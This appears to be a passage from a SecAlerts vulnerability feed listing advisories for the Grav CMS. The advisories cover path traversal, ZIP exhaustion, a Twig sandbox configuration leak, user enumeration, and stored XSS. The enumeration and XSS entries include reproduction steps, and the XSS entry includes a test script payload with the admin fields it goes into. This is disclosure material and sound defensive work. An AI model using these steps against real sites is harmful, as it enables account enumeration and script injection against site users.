- Application-wide Denial of Service (DoS) - All login and admin views crash with the same error - Potentially exploitable by: - Admin panel users - CSRF if misconfigured

---

References

- CWE-1333: Improper Regular Expression - CWE-20: Improper Input Validation

Discoverer

Marcelo Queiroz

by CVE-Hunters

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
Path Traversal
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Grav versions before 2.0.13 fail to properly validate backup profile root paths, allowing attackers to archive directories outside GRAVROOT when not in the hard-coded deny-list. Attackers with profile editor access can configure backup profiles with traversal paths to expose sensitive files from locations like /opt, /mnt, or /srv.

First published (updated )
Severity
6.5
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Grav v1.7.49.5 / Admin v1.10.49.1 – User Enumeration & Email Disclosure

Summary A user enumeration and email disclosure vulnerability exists in Grav v1.7.49.5 with Admin plugin v1.10.49.1. The "Forgot Password" functionality at /admin/forgot leaks information about valid usernames and their associated email addresses through distinct server responses. This allows an attacker to enumerate users and disclose sensitive email addresses, which can be leveraged for targeted attacks such as password spraying, phishing, or social engineering.

Details

The issue resides in the taskForgot() function, which handles the forgot password workflow. Relevant vulnerable logic:

php if (null === $user || $user->state !== 'enabled' || !$to) { ... // Generic message for invalid/non-existing users $this->setMessage($this->translate('PLUGINADMIN.FORGOTINSTRUCTIONSSENTVIAEMAIL')); return $this->createRedirectResponse($current); }

if ($rateLimiter->isRateLimited($username)) { ... $interval = $config->get('plugins.login.maxpwresetsinterval', 2);

// Sensitive message for valid users $this->setMessage($this->translate('PLUGINLOGIN.FORGOTCANNOTRESETITISBLOCKED', $to, $interval), 'error');

return $this->createRedirectResponse($current); }

When an attacker submits the password reset form at /admin/forgot with an invalid username, the application responds with:

Instructions to reset your password have been sent to your email address

However, when a valid username is supplied, and the attacker repeatedly triggers password reset requests, the application responds with:

Cannot reset password for <USEREMAIL>, password reset functionality temporarily blocked, please try later (maximum 60 minutes)

This discrepancy in responses enables: 1. User Enumeration – Attackers can determine if a username exists in the system by analyzing the response. 2. User Email Disclosure – The system discloses the actual email address associated with the account (e.g., admin@localhost.test).

This violates best practices for authentication flows, where responses should remain generic to avoid leaking sensitive information.

PoC 1. Navigate to the Forgot Password page: https://<target>/admin/forgot 1. Submit a reset request with a random/invalid username (e.g., invaliduser):

- Response: Instructions to reset your password have been sent to your email address 3. Submit a reset request with a valid username (e.g., admin). 4. Repeatedly request a reset for the same username until the lockout mechanism triggers. - Response: Cannot reset password for admin@localhost.test, password reset functionality temporarily blocked, please try later (maximum 60 minutes) 5. Observe the leaked email address of the admin account in the error message.

Impact - Severity: Medium - Type: Information Disclosure / User Enumeration - Who is Impacted: All Grav sites using Admin plugin v1.10.49.1 with password reset enabled. - Risks: - Allows attackers to enumerate valid usernames. - Exposes email addresses of admin accounts, which can be used in: - Credential stuffing - Password spraying - Phishing/social engineering campaigns - Further exploitation in combination with other vulnerabilities

Recommendation

- Modify the taskForgot() logic to always return a generic, non-identifying message, regardless of whether the username exists or rate limits are hit.

- Example safe response: ini If the account exists, password reset instructions will be sent.

- Do not include email addresses ($to) or other sensitive data in error messages.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Grav is a file-based Web platform. Prior to 2.0.1, Grav ZipArchiver::extract() in system/src/Grav/Common/Filesystem/ZipArchiver.php passes archives to ZipArchive::extractTo() without enforcing the system.gpm.archive uncompressed-size, file-count, or nesting-depth limits. Code using Archiver::create('zip') to extract an attacker-controlled archive can exhaust disk space or inodes and make the site unavailable. This issue is fixed in version 2.0.1.

First published (updated )
Severity
6.5
Infoleak
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Grav is a file-based Web platform. Prior to 2.0.2, the Grav Twig content sandbox permits grav.offsetGet('config') to return the raw configuration object and permits jsonencode, printr, yamlencode, and string filters to serialize that object without passing through GravSecurityPolicy::checkMethodAllowed. A user with page-author permissions can render sandboxed content that exposes plugins. configuration secrets, including SMTP credentials, API keys, and plugin database credentials. This issue is fixed in version 2.0.2.

First published (updated )
Severity
6.2
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:L/VI:L/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

A Stored Cross-Site Scripting (XSS) vulnerability was identified in the /admin/pages/[page] endpoint of the Grav application. This vulnerability allows attackers to inject malicious scripts into the data[header][metadata], data[header][taxonomy][category], and data[header][taxonomy][tag] parameters. These scripts are stored in the page frontmatter and executed automatically whenever the affected page is accessed or rendered in the administrative interface.

---

Details

Vulnerable Endpoint: POST /admin/pages/[page] Parameters:

- data[header][metadata] - data[header][taxonomy][category] - data[header][taxonomy][tag]

The application fails to properly sanitize user input when saving page metadata or taxonomy fields via the Admin Panel. As a result, an attacker with access to the admin interface can inject a malicious script using these parameters, and the script will be stored in the page's YAML frontmatter. When the page or metadata is rendered (especially in the Admin Panel), the payload is executed in the browser of any user with access.

---

PoC

Payload:

<script>alert('PoC-XXS51')</script>

Steps to Reproduce:

1. Log into the Grav Admin Panel and navigate to Pages. 2. Create or edit a page. 3. Inject the payload above into any of the following fields in the Options tab: - Metadata key name - Category under Taxonomy - Tag under Taxonomy !image

!image

4. Save the page. !image

When the page is loaded again in the Admin Panel or potentially on the frontend (depending on how the metadata is used), the script is executed, confirming the Stored XSS vulnerability.

---

Impact

Stored XSS vulnerabilities can result in serious consequences, including:

- Session hijacking: Attackers can steal authentication cookies or tokens - Malware delivery: Injected scripts can download malicious software - Credential theft: Fake input fields can capture usernames and passwords - Sensitive data exposure: Access to internal metadata and browser data - Administrative access compromise: Especially dangerous in admin-facing interfaces - Phishing attacks: Users can be redirected to external malicious sites - Reputation damage: Executing arbitrary scripts in trusted systems undermines credibility

by CVE-Hunters

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203